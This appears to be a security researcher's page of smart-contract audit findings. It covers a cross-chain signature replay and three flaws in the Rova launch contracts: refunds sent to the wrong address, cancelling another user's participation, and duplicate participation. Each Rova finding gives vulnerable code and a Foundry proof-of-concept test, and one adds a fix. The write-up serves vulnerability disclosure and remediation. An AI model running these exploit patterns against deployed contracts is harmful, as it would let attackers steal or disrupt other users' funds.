Audit Contest - I (Code4rena, Cyfrin, Sherlock)
Overview
- Next Generation
- Signature replayable across multiple chaines (Low) [link]
- RAAC (soon)
- Gamma (soon)
- Rova Protocol (With PoC) // unfortunately, this is vulnerability but it’s very difficult to exploit, so it’s considered invalid…
- DatingDapp (Frist Flights)
Next generation
[NG/L-01] Signature replayable across multiple chaines
Root Cause
1
2
3
4
5
6
7
8
9
10
11
12
13
function _verifySig(
ForwardRequest memory req,
bytes32 domainSeparator,
bytes32 requestTypeHash,
bytes memory suffixData,
bytes memory sig
) internal view {
require(typeHashes[requestTypeHash], "NGEUR Forwarder: invalid request typehash");
bytes32 digest = keccak256(
abi.encodePacked("\x19\x01", domainSeparator, keccak256(_getEncoded(req, requestTypeHash, suffixData)))
);
require(digest.recover(sig) == req.from, "NGEUR Forwarder: signature mismatch");
}
the contract does not enforce block.chainid in signature verification, making the same signature replayable across multiple chains (Ethereum,Polygon)
RAAC (Soon)
Gamma (Soon)
Rova Protocol
[Rova/H-01] Drain of user’s funds in the Rova protocol due to refunds being sent to an incorrect address
Root Cause
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (prevInfo.currencyAmount > newCurrencyAmount) {
// Calculate refund amount
uint256 refundCurrencyAmount = prevInfo.currencyAmount - newCurrencyAmount;
// Validate user new requested token amount is greater than min token amount per user
if (userTokenAmount - refundCurrencyAmount < settings.minTokenAmountPerUser) {
revert MinUserTokenAllocationNotReached(
request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
);
}
// Update total tokens requested for user for launch group
userTokens.set(request.userId, userTokenAmount - refundCurrencyAmount);
// Transfer payment currency from contract to user
IERC20(request.currency).safeTransfer(msg.sender, refundCurrencyAmount);
// https://github.com/sherlock-audit/2025-02-rova-loptusKR/blob/main/rova-contracts/src/Launch.sol#L351L363
after a user participates in a sale, they can update the amount of tokens requested using the updateParticipation() function. if the updated amount is greater than the previous amount, the user must pay the difference; however, if it is lower, they are not required to pay extra, but instead receive a refund for the difference. The problem is that when refunding the difference, the recipient’s address is not managed correctly, which could allow someone else to steal the refund amount
in the refund transfer section, funds are sent to msg.sender instead of prevInfo.userAddress. therefore, if an attacker uses another user’s LaunchParticipationId, they could steal the refund amount associated with that LaunchParticipationId
PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;
import {IERC20Errors} from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
LaunchGroupSettings,
LaunchGroupStatus,
ParticipationRequest,
UpdateParticipationRequest,
ParticipationInfo,
CurrencyConfig
} from "../src/Types.sol";
contract LaunchUpdateParticipationTest is Test, Launch, LaunchTestBase {
LaunchGroupSettings public settings;
ParticipationRequest public originalParticipationRequest;
function setUp() public {
_setUpLaunch();
}
function test_exploit() public {
// Setup initial participation
settings = _setupLaunchGroup();
// victim's request
originalParticipationRequest = _createParticipationRequest();
bytes memory signature = _signRequest(abi.encode(originalParticipationRequest));
console.log("victim's balance before ex : ", currency.balanceOf(user1));
vm.startPrank(user1);
currency.approve(
address(launch),
_getCurrencyAmount(
originalParticipationRequest.launchGroupId,
originalParticipationRequest.currency,
originalParticipationRequest.tokenAmount
)
);
launch.participate(originalParticipationRequest, signature);
vm.stopPrank();
// attacker's request
UpdateParticipationRequest memory updateRequest = _createUpdateParticipationRequest(500);
bytes memory updateSignature = _signRequest(abi.encode(updateRequest));
vm.startPrank(user2);
console.log("attacker's balance before ex : ", currency.balanceOf(user2));
uint256 updatedCurrencyAmount =
_getCurrencyAmount(updateRequest.launchGroupId, updateRequest.currency, updateRequest.tokenAmount);
currency.approve(address(launch), updatedCurrencyAmount);
// Update participation
launch.updateParticipation(updateRequest, updateSignature);
console.log("victim's balance after ex : ", currency.balanceOf(user1));
console.log("attacker's balance after ex : ", currency.balanceOf(user2));
vm.stopPrank();
}
function _createUpdateParticipationRequest(uint256 newTokenAmount)
internal
view
returns (UpdateParticipationRequest memory)
{
uint256 launchTokenDecimals = launch.tokenDecimals();
return UpdateParticipationRequest({
chainId: block.chainid,
launchId: testLaunchId,
launchGroupId: testLaunchGroupId,
prevLaunchParticipationId: testLaunchParticipationId,
newLaunchParticipationId: "newLaunchParticipationId",
userId: testUserId,
userAddress: user2,
tokenAmount: newTokenAmount * 10 ** launchTokenDecimals,
currency: address(currency),
requestExpiresAt: block.timestamp + 1 hours
});
}
}
this is proof that user2 stole user1’s refund
Mitigation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (prevInfo.currencyAmount > newCurrencyAmount) {
// Calculate refund amount
uint256 refundCurrencyAmount = prevInfo.currencyAmount - newCurrencyAmount;
// Validate user new requested token amount is greater than min token amount per user
if (userTokenAmount - refundCurrencyAmount < settings.minTokenAmountPerUser) {
revert MinUserTokenAllocationNotReached(
request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
);
}
// Update total tokens requested for user for launch group
userTokens.set(request.userId, userTokenAmount - refundCurrencyAmount);
// Transfer payment currency from contract to user
- IERC20(request.currency).safeTransfer(msg.sender, refundCurrencyAmount);
+ IERC20(request.currency).safeTransfer(prevInfo.userAddress, refundCurrencyAmount);
modify it so that the refund address is retrieved from previnfo as shown above
[Rova/M-01] Unauthorized Cancellation of another user’s participation
Root Cause
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
function cancelParticipation(CancelParticipationRequest calldata request, bytes calldata signature)
external
nonReentrant
whenNotPaused
onlyLaunchGroupStatus(request.launchGroupId, LaunchGroupStatus.ACTIVE)
{
// Validate request is intended for this launch and unexpired
_validateRequest(
request.launchId, request.launchGroupId, request.chainId, request.requestExpiresAt, request.userAddress
);
// Validate launch group is open for participation
LaunchGroupSettings memory settings = launchGroupSettings[request.launchGroupId];
_validateTimestamp(settings);
// Validate request signature is from signer role
_validateRequestSignature(keccak256(abi.encode(request)), signature);
ParticipationInfo storage info = launchGroupParticipations[request.launchParticipationId];
// If launch group finalizes at participation, the participation is considered complete and not updatable
if (settings.finalizesAtParticipation) {
revert ParticipationUpdatesNotAllowed(request.launchGroupId, request.launchParticipationId);
}
if (info.isFinalized) {
revert ParticipationUpdatesNotAllowed(request.launchGroupId, request.launchParticipationId);
}
// Validate userId is the same which also checks if participation exists
if (request.userId != info.userId) {
revert UserIdMismatch(info.userId, request.userId);
}
// Get total tokens requested for user for launch group
EnumerableMap.Bytes32ToUintMap storage userTokens = _userTokensByLaunchGroup[request.launchGroupId];
(, uint256 userTokenAmount) = userTokens.tryGet(request.userId);
if (userTokenAmount - info.tokenAmount == 0) {
// If total tokens requested for user is the same as the cancelled participation, remove user from launch group
userTokens.remove(request.userId);
} else if (userTokenAmount - info.tokenAmount < settings.minTokenAmountPerUser) {
// Total tokens requested for user after cancellation must be greater than min token amount per user
revert MinUserTokenAllocationNotReached(
request.launchGroupId, request.userId, userTokenAmount, info.tokenAmount
);
} else {
// Subtract cancelled participation token amount from total tokens requested for user
userTokens.set(request.userId, userTokenAmount - info.tokenAmount);
}
// Transfer payment currency from contract to user
uint256 refundCurrencyAmount = info.currencyAmount;
IERC20(info.currency).safeTransfer(info.userAddress, refundCurrencyAmount);
// Reset participation info
info.tokenAmount = 0;
info.currencyAmount = 0;
emit ParticipationCancelled(
request.launchGroupId,
request.launchParticipationId,
request.userId,
msg.sender,
refundCurrencyAmount,
info.currency
);
}
// https://github.com/sherlock-audit/2025-02-rova-loptusKR/blob/main/rova-contracts/src/Launch.sol#L404L466
the cancelParticipation() function is capable of canceling an existing participation, but because it doesn’t verify that the caller is the owner of the participation, it allows someone to forcibly cancel another user’s participation. due to the lack of identity verification in the cancelParticipation() function, a malicious user can cancel all existing participations
PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
LaunchGroupSettings,
LaunchGroupStatus,
ParticipationRequest,
ParticipationInfo,
CancelParticipationRequest
} from "../src/Types.sol";
contract LaunchCancelParticipationTest is Test, Launch, LaunchTestBase {
LaunchGroupSettings public settings;
function setUp() public {
_setUpLaunch();
}
function test_CancelanotherUsersparticipation() public {
settings = _setupLaunchGroup();
ParticipationRequest memory request = _createParticipationRequest();
bytes memory signature = _signRequest(abi.encode(request));
vm.startPrank(user1);
currency.approve(
address(launch), _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount)
);
launch.participate(request, signature);
ParticipationInfo memory info = launch.getParticipationInfo(request.launchParticipationId);
console.log("User1's balance after participation : ", currency.balanceOf(user1));
console.log("info.tokenAmount before ex : ", info.tokenAmount);
console.log("info.currencyAmount before ex: ", info.currencyAmount);
vm.stopPrank();
// User2 cancels their own participation.
vm.startPrank(user2);
CancelParticipationRequest memory cancelRequest = CancelParticipationRequest({
chainId: block.chainid,
launchId: testLaunchId,
launchGroupId: testLaunchGroupId,
launchParticipationId: testLaunchParticipationId,
userId: testUserId,
userAddress: user2,
requestExpiresAt: block.timestamp + 1 hours
});
bytes memory cancelSignature = _signRequest(abi.encode(cancelRequest));
launch.cancelParticipation(cancelRequest, cancelSignature);
ParticipationInfo memory _info = launch.getParticipationInfo(cancelRequest.launchParticipationId);
console.log("User1's balance after user2 cancels their participation : ", currency.balanceOf(user1));
console.log("info.tokenAmount after ex : ", _info.tokenAmount);
console.log("info.currencyAmount after ex: ", _info.currencyAmount);
vm.stopPrank();
}
}
this is proof that user2 forcibly canceled user1’s participation
[Rova/M-02] Fairess disruption due to duplicate launch participation
Root Cause
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
function participate(ParticipationRequest calldata request, bytes calldata signature)
external
nonReentrant
whenNotPaused
onlyLaunchGroupStatus(request.launchGroupId, LaunchGroupStatus.ACTIVE)
{
// Validate request is intended for this launch and unexpired
_validateRequest(
request.launchId, request.launchGroupId, request.chainId, request.requestExpiresAt, request.userAddress
);
LaunchGroupSettings memory settings = launchGroupSettings[request.launchGroupId];
// Validate launch group is open for participation
_validateTimestamp(settings);
// Validate request signature is from signer role
_validateRequestSignature(keccak256(abi.encode(request)), signature);
// Validate payment currency is enabled for launch group
uint256 tokenPriceBps = _validateCurrency(request.launchGroupId, request.currency);
// Do not allow replay of launch participation ID
if (launchGroupParticipations[request.launchParticipationId].userId != bytes32(0)) {
revert ParticipationAlreadyExists(request.launchParticipationId);
}
// If launch group does not finalize at participation, users should perform updates instead
// This is checked by checking if the user has already requested tokens under the launch group
EnumerableMap.Bytes32ToUintMap storage userTokens = _userTokensByLaunchGroup[request.launchGroupId];
(, uint256 userTokenAmount) = userTokens.tryGet(request.userId);
if (userTokenAmount > 0) {
if (!settings.finalizesAtParticipation) {
revert MaxUserParticipationsReached(request.launchGroupId, request.userId);
}
}
// Validate user requested token amount is within launch group user allocation limits
uint256 newUserTokenAmount = userTokenAmount + request.tokenAmount;
if (newUserTokenAmount > settings.maxTokenAmountPerUser) {
revert MaxUserTokenAllocationReached(
request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
);
}
if (newUserTokenAmount < settings.minTokenAmountPerUser) {
revert MinUserTokenAllocationNotReached(
request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
);
}
// Calculate payment amount in requested currency based on token price and requested token amount
uint256 currencyAmount = _calculateCurrencyAmount(tokenPriceBps, request.tokenAmount);
// Store participation info for user
ParticipationInfo storage info = launchGroupParticipations[request.launchParticipationId];
// If launch group finalizes at participation, the participation is considered complete and not updatable
if (settings.finalizesAtParticipation) {
// Validate launch group max token allocation has not been reached
(, uint256 currTotalTokensSold) = _tokensSoldByLaunchGroup.tryGet(request.launchGroupId);
if (settings.maxTokenAllocation < currTotalTokensSold + request.tokenAmount) {
revert MaxTokenAllocationReached(request.launchGroupId);
}
// Update total withdrawable amount for payment currency
(, uint256 withdrawableAmount) = _withdrawableAmountByCurrency.tryGet(request.currency);
_withdrawableAmountByCurrency.set(request.currency, withdrawableAmount + currencyAmount);
// Mark participation as finalized
info.isFinalized = true;
// Update total tokens sold for launch group
_tokensSoldByLaunchGroup.set(request.launchGroupId, currTotalTokensSold + request.tokenAmount);
}
// Set participation details for user
info.userAddress = msg.sender;
info.userId = request.userId;
info.tokenAmount = request.tokenAmount;
info.currencyAmount = currencyAmount;
info.currency = request.currency;
// Update total tokens requested for user for launch group
userTokens.set(request.userId, newUserTokenAmount);
// Transfer payment currency from user to contract
IERC20(request.currency).safeTransferFrom(msg.sender, address(this), currencyAmount);
emit ParticipationRegistered(
request.launchGroupId,
request.launchParticipationId,
request.userId,
msg.sender,
currencyAmount,
request.currency
);
}
https://github.com/dpm-labs/rova-contracts/blob/main/src/Launch.sol#L215L305
the lack of a proper uniqueness check in Launch.sol allows users to bypass the participation limit by using multiple launchParticipationIds, leading to unfair distribution and potential abuse of the launch allocation. the function participate() only checks if a participation ID has been used before but does not validate if a user has already participated using a different launchParticipationId. this allows users to create multiple participations under different IDs and bypass participation limits
PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;
import {IERC20Errors} from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
CancelParticipationRequest,
LaunchGroupSettings,
LaunchGroupStatus,
ParticipationRequest,
ParticipationInfo,
CurrencyConfig
} from "../src/Types.sol";
contract LaunchParticipateTest is Test, Launch, LaunchTestBase {
function setUp() public {
_setUpLaunch();
}
function test_duplicate_participation() public {
// Setup launch group
_setupLaunchGroup();
// First participation request
ParticipationRequest memory request = ParticipationRequest({
chainId: block.chainid,
launchId: testLaunchId,
launchGroupId: testLaunchGroupId,
launchParticipationId: "cm6o2sldi00003b74facm5z9n",
userId: "cm6o2tm1300003b74dsss1s7q",
userAddress: user1,
tokenAmount: 1000 * 10 ** launch.tokenDecimals(),
currency: address(currency),
requestExpiresAt: block.timestamp + 1 hours
});
bytes memory signature = _signRequest(abi.encode(request));
vm.startPrank(user1);
uint256 currencyAmount = _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount);
currency.approve(address(launch), currencyAmount);
vm.expectEmit();
emit ParticipationRegistered(
request.launchGroupId, request.launchParticipationId, testUserId, user1, currencyAmount, address(currency)
);
launch.participate(request, signature);
// Verify participation
ParticipationInfo memory info = launch.getParticipationInfo(request.launchParticipationId);
assertEq(info.userAddress, user1);
// Second participation request
ParticipationRequest memory request1 = ParticipationRequest({
chainId: block.chainid,
launchId: testLaunchId,
launchGroupId: testLaunchGroupId,
launchParticipationId: "cm6o2sldi00003b74facm5z9k",
userId: "cm6o2tm1300003b74dsss1s7k",
userAddress: user1,
tokenAmount: 1000 * 10 ** launch.tokenDecimals(),
currency: address(currency),
requestExpiresAt: block.timestamp + 1 hours
});
bytes memory signature1 = _signRequest(abi.encode(request1));
vm.startPrank(user1);
uint256 currencyAmount1 = _getCurrencyAmount(request1.launchGroupId, request1.currency, request1.tokenAmount);
currency.approve(address(launch), currencyAmount1);
vm.expectEmit();
emit ParticipationRegistered(
request1.launchGroupId, request1.launchParticipationId, "cm6o2tm1300003b74dsss1s7k", user1, currencyAmount1, address(currency)
);
launch.participate(request1, signature1);
// Verify participation
ParticipationInfo memory info1 = launch.getParticipationInfo(request1.launchParticipationId);
assertEq(info1.userAddress, user1);
vm.stopPrank();
}
}
this is proof of duplicate participation by one user in a sale